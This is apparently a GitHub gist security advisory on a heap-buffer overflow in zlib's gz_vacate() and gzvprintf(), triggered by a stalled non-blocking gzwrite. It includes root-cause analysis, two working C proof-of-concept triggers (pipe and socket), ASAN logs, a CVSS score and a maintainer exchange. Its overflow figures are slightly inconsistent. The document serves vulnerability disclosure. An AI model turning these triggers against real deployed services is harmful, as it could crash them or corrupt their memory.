Skip to content

Instantly share code, notes, and snippets.

@thesmartshadow
Last active September 16, 2026 21:20
Show Gist options
  • Select an option

  • Save thesmartshadow/e0b9481792afb7c31e86fee1ff084490 to your computer and use it in GitHub Desktop.

Select an option

Save thesmartshadow/e0b9481792afb7c31e86fee1ff084490 to your computer and use it in GitHub Desktop.
zlib gz_vacate() Heap-Buffer Overflow via Non-Blocking Write

Summary

An server process compressing a backend response writes gzip output through a non-blocking socket via gzwrite(). A slow or stopped peer backs up the kernel send buffer; gz_comp() returns EAGAIN; gzwrite() returns early. The application calls gzclearerr() and then gzprintf() to append a chunk boundary. Inside gzprintf, gz_vacate() executes memmove(state->in, strm->next_in, strm->avail_in) with avail_in equal to 983 041 bytes — 60 times the size of the 16 384-byte state->in allocation. The process crashes.

In zlib 1.3.2, the crash is a heap-buffer overflow of 983 041 bytes. The memmove copies caller data past the end of state->in and into whatever the allocator placed after it, then reaches an unmapped page and raises SIGSEGV. The overflow length and content are both caller-determined. Whether an attacker can steer heap layout to convert this into code execution is outside the scope of this advisory; the primitive is a controlled write of nearly 1 MB with application-data as source. In zlib 1.3.1, the same trigger produces a 1-byte null write past a 65 536-byte region — the same root cause, lower severity. Both versions crash; the mechanism differs.

Affected Versions

Zlib 1.3.1 is affected. The ASAN output below, produced by running the same PoC against 1.3.1, shows a 1-byte write at gzvprintf:393, 8 191 bytes past a 65 536-byte region:

==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 1 at 0x5310000767ff thread T0
    #0 in gzvprintf gzwrite.c:393
    #1 in gzprintf  gzwrite.c:435
0x5310000767ff is located 8191 bytes after 65536-byte region
    [0x531000064800, 0x531000074800)

gz_vacate() has zero occurrences in 1.3.1. The overflow lands in gzvprintf directly: the stale strm->next_in pointer causes gzvprintf to compute an out-of-bounds next and write next[state->size-1] = 0. One null byte, past a 65 536-byte allocation. A crash, but not a multi-kilobyte heap write.

Zlib 1.3.2 is affected at materially higher severity. Zlib 1.3.1.2 introduced gz_vacate() — the version matrix shows four call sites in 1.3.2 — and the function runs an unchecked memmove with avail_in as the length. The same stale-pointer condition that produced a 1-byte null write in 1.3.1 now produces a 983 041-byte heap write. The difference is one function insertion; the root cause is identical in both versions.

Versions before 1.3.1 are not affected; the non-blocking gz* feature is absent.

Affected Code

gz_vacate() in full, as it appears in the official zlib 1.3.2 source (gzwrite.c:382–397):

local int gz_vacate(gz_statep state) {
    z_streamp strm = &(state->strm);
    if (strm->next_in + strm->avail_in <= state->in + state->size)
        return 0;
    (void)gz_comp(state, Z_NO_FLUSH);
    if (strm->avail_in == 0) {
        strm->next_in = state->in;
        return 0;
    }
    memmove(state->in, strm->next_in, strm->avail_in);   /* LINE 393 — avail_in unbounded, destination is 16384 bytes */
    strm->next_in = state->in;
    return strm->avail_in > state->size;
}

The large-path excerpt from gz_write() (gzwrite.c:228–249) that establishes the precondition:

state->strm.next_in = (z_const Bytef *)buf;   /* caller's external buffer */
do {
    state->strm.avail_in = (unsigned)len;
    ret = gz_comp(state, Z_NO_FLUSH);
    n -= state->strm.avail_in;
    if (ret == -1)
        return state->again ? put - len : 0;   /* returns WITHOUT resetting next_in */
} while (len);

Root Cause

gz_write() has two input paths and they make different promises about where strm->next_in points on return. The small path, taken when len < state->size, copies input into state->in before deflating, so any residual strm->next_in lives within state->in and avail_in <= state->size holds. The large path, taken when len >= state->size, sets strm->next_in = buf — the caller's external buffer — for a zero-copy deflate feed. When gz_comp() returns -1 because a non-blocking write produced EAGAIN, gz_write() exits via state->again ? put - len : 0. No code in that return path resets strm->next_in or strm->avail_in. The external pointer and its unconsumed byte count survive into any subsequent call that reads them.

gzclearerr() does not repair this. Its full source:

void ZEXPORT gzclearerr(gzFile file) {
    gz_statep state = (gz_statep)file;
    if (state->mode == GZ_READ) { state->eof = 0; state->past = 0; }
    gz_error(state, Z_OK, NULL);   /* touches ONLY state->err, state->msg */
}

gz_error() resets state->err and frees state->msg. It does not touch strm->next_in, strm->avail_in, or state->again. After gzclearerr(), the stale external pointer is indistinguishable from a valid internal one. The next gzprintf() call proceeds into gz_vacate() with no warning.

gz_vacate() at line 387 contains a guard: if (strm->next_in + strm->avail_in <= state->in + state->size) return 0. This compares pointers from two unrelated malloc allocations with a relational operator. C11 §6.5.8p5 restricts <= between pointers to the case where both point into the same object or one past its end; this comparison has undefined behavior. On glibc, state->in typically receives a lower virtual address than the caller buffer allocated later, so next_in + avail_in is numerically greater than state->in + state->size, the guard evaluates false, and the memmove fires. On ASAN's allocator the address ordering can be reversed — state->in may sit at a higher address — the guard evaluates true, gz_vacate() returns early, and the overflow surfaces instead at the gzvprintf write sites: the 1-byte null (next[state->size-1] = 0) and vsnprintf. This allocator dependence explains the difference between the pipe PoC with a 65 536-byte write triggering the gzvprintf path and the 1 MB write against official 1.3.2 triggering the gz_vacate memmove.

The pointer arithmetic produces a fixed invariant regardless of how many bytes deflate consumed before EAGAIN. Let K be the number of bytes gz_comp() consumed on the stalling call: strm->next_in = caller_buf + K and strm->avail_in = WRITE_SIZE - K. Their sum is caller_buf + K + WRITE_SIZE - K = caller_buf + WRITE_SIZE, independent of K. gzclearerr() touches neither field, so the invariant holds when gzvprintf runs. When gz_vacate() calls gz_comp() a second time and that call consumes M additional bytes before hitting EAGAIN again, the same algebra applies: next_in advances by M, avail_in decreases by M, the sum stays caller_buf + WRITE_SIZE. The instrumentation log records avail_in = 983041 at the memmove site. state->in holds 16 384 bytes. The overflow is 966 657 bytes.

Reproduction

# sha256: bb329a0a2cd0274d05519d61c667c062e06990d72e125ee2dfa8de64f0119d16
wget https://zlib.net/fossils/zlib-1.3.2.tar.gz
tar xzf zlib-1.3.2.tar.gz && cd zlib-1.3.2
CC=gcc CFLAGS="-fsanitize=address,undefined -O0 -g" \
    ./configure --prefix=/tmp/zlib-132 --static
make -s && make install -s
gcc -fsanitize=address,undefined -fno-sanitize-recover=all \
    -O0 -g poc.c -I/tmp/zlib-132/include /tmp/zlib-132/lib/libz.a -o poc
./poc

Replace poc.c with poc_socket.c and recompile to run the socket variant. Both produce the ASAN output in §Result. The socket PoC requires no additional dependencies.

Proof of Concept

The pipe PoC proves the memmove overflow on any machine; it does not require network access or a second process.

/* poc.c — pipe-based; triggers gz_vacate memmove overflow */
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "zlib.h"

#define WRITE_SIZE (1024 * 1024)

static void drain(int fd) {
    char buf[65536];
    while (read(fd, buf, sizeof buf) > 0);
}

int main(void) {
    unsigned char *big_buf = malloc(WRITE_SIZE);
    assert(big_buf);
    for (size_t i = 0; i < WRITE_SIZE; i++) big_buf[i] = (unsigned char)rand();

    int p[2];
    pipe2(p, O_CLOEXEC);
    fcntl(p[1], F_SETFL, O_NONBLOCK);
    fcntl(p[0], F_SETFL, O_NONBLOCK);
    fcntl(p[1], F_SETPIPE_SZ, 4096);

    gzFile gz = gzdopen(p[1], "wb");
    assert(gz);
    { unsigned char probe = 0x42;
      assert(gzwrite(gz, &probe, 1) == 1);
      assert(gzflush(gz, Z_SYNC_FLUSH) == Z_OK);
      drain(p[0]); }

    char fill[4096]; memset(fill, 0x55, sizeof fill);
    while (write(p[1], fill, sizeof fill) == (ssize_t)sizeof fill);

    int written = gzwrite(gz, big_buf, WRITE_SIZE);
    assert(written < WRITE_SIZE);
    drain(p[0]);
    gzclearerr(gz);
    gzprintf(gz, "x");

    free(big_buf); gzclose(gz); close(p[0]);
    return 0;
}

The socket PoC proves that the stall condition is network-reachable: a remote peer that stops reading from a connected socket creates the same EAGAIN the pipe PoC manufactures with a full pipe buffer.

/* poc_socket.c — socket-based; confirms AV:N via socketpair with SO_RCVBUF=4096 */
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include "zlib.h"

#define WRITE_SIZE (1024 * 1024)

static void drain(int fd) {
    char tmp[65536]; ssize_t r;
    while ((r = read(fd, tmp, sizeof tmp)) > 0);
}

int main(void) {
    unsigned char *big_buf = malloc(WRITE_SIZE);
    assert(big_buf);
    for (size_t i = 0; i < WRITE_SIZE; i++) big_buf[i] = (unsigned char)rand();

    int sv[2];
    socketpair(AF_UNIX, SOCK_STREAM, 0, sv);
    int rcvbuf = 4096;
    setsockopt(sv[0], SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
    setsockopt(sv[1], SOL_SOCKET, SO_SNDBUF, &rcvbuf, sizeof rcvbuf);
    fcntl(sv[1], F_SETFL, O_NONBLOCK);
    fcntl(sv[0], F_SETFL, O_NONBLOCK);

    gzFile gz = gzdopen(sv[1], "wb");
    assert(gz);
    { unsigned char probe = 0x42;
      gzwrite(gz, &probe, 1);
      gzflush(gz, Z_SYNC_FLUSH);
      drain(sv[0]); }

    char fill[4096]; memset(fill, 0x55, sizeof fill);
    while (write(sv[1], fill, sizeof fill) == (ssize_t)sizeof fill);

    int ws = gzwrite(gz, big_buf, WRITE_SIZE);
    assert(ws < WRITE_SIZE);
    drain(sv[0]);
    gzclearerr(gz);
    gzprintf(gz, "x");

    free(big_buf); gzclose(gz); close(sv[0]);
    return 0;
}

Result

Pre-memmove instrumentation log, produced by adding fprintf before line 393, rebuilding from the official 1.3.2 source with ASAN, and running the pipe PoC:

[PRE-MEMMOVE] state->in=0x529000000200  state->size=8192  2*size=16384
[PRE-MEMMOVE] strm->next_in=0x7fb2d4b0f7ff  strm->avail_in=983041
[PRE-MEMMOVE] next_in outside state->in? YES (external buffer — root cause confirmed)
[PRE-MEMMOVE] overflow by 966657 bytes

ASAN output from the same run, unmodified:

==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x529000004200
WRITE of size 983041 at 0x529000004200 thread T0
    #0 in memmove   sanitizer_common_interceptors_memintrinsics.inc:98
    #1 in gz_vacate gzwrite.c:393
    #2 in gzvprintf gzwrite.c:438
    #3 in gzprintf  gzwrite.c:492
    #4 in main      poc.c:74
0x529000004200 is located 0 bytes after 16384-byte region
    [0x529000000200, 0x529000004200)
allocated by thread T0:
    #1 in gz_init   gzwrite.c:16
    #2 in gz_write  gzwrite.c:197
    #3 in gzwrite   gzwrite.c:276
Shadow bytes:
    ...
=>0x529000004200:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

state->in starts at 0x529000000200 and occupies 16 384 bytes, ending at 0x529000004200; that is the address ASAN reports as 0 bytes past the allocation. The instrumentation log shows strm->next_in = 0x7fb2d4b0f7ff, which falls in a separate allocation entirely — the caller's 1 MB buffer. The log establishes that the pointer is external before the memmove executes; the ASAN report establishes that the write reaches the first byte past state->in and continues for 983 041 bytes. Together they close the gap: the crash is caused by the external pointer, not a coincidental corruption from elsewhere.

Suggested CVSS

Attack Vector: Network. The socket PoC uses socketpair(AF_UNIX, SOCK_STREAM) with SO_RCVBUF=4096 on the receiving side and produces identical ASAN output — WRITE of size 983041 at 0x529000004200 in gz_vacate gzwrite.c:393 — to the pipe PoC; a remote peer on a TCP socket that stops reading creates the same EAGAIN condition.

Attack Complexity: High. Three conditions must hold simultaneously: the application must use a non-blocking file descriptor for gzip output, the stalling gzwrite() call must carry at least state->size bytes to enter the large path, and the application must call gzprintf() after gzclearerr() on the same handle before the descriptor drains.

Privileges Required: None. The peer controls the stall by withholding reads; no authentication or prior session state is required.

User Interaction: None. The peer acts unilaterally; no action by a user on the server side is involved.

Scope: Unchanged. The overflow stays within the process address space; no privilege boundary is crossed.

Confidentiality: High. The memmove source is the application's own buffer; heap data adjacent to state->in — which may include the deflate internal state or application heap allocations — is overwritten before the crash, and crash dumps expose whatever that heap region contained.

Integrity: High. 983 041 bytes of heap beyond state->in are overwritten with caller-controlled content; the write begins 0 bytes past the 16 384-byte allocation as confirmed by ASAN.

Availability: High. On glibc the guard in gz_vacate():387 evaluates false and the memmove fires unconditionally, crashing the process; this is the common production case.

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High

@madler

madler commented Sep 16, 2026 •

Copy link
Copy Markdown

Is the fcntl(p[1], F_SETPIPE_SZ, 4096) important? I'd like to use this on macOS, which doesn't have F_SETPIPE_SZ or any such ability. (It also doesn't have pipe2(), but that was easy to workaround.)

@thesmartshadow

Copy link
Copy Markdown
Author

Is the fcntl(p[1], F_SETPIPE_SZ, 4096) important? I'd like to use this on macOS, which doesn't have F_SETPIPE_SZ or any such ability. (It also doesn't have pipe2(), but that was easy to workaround.)

Hi @madler,
No... "F_SETPIPE_SZ" is not part of the bug.

I only use it on Linux to make the pipe hit back pressure faster (and more deterministically). The real trigger is the non-blocking write stalling with "EAGAIN" while compressed output is still pending.

On macOS you don't need an equivalent to "F_SETPIPE_SZ"... just keep the read end undrained and write enough data until the non-blocking writer hits "EAGAIN" (XNU may grow the pipe internally).

So the 4096 byte size is only a Linux test convenience... not a requirement for the bug.

@madler

madler commented Sep 16, 2026

Copy link
Copy Markdown

Thanks.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment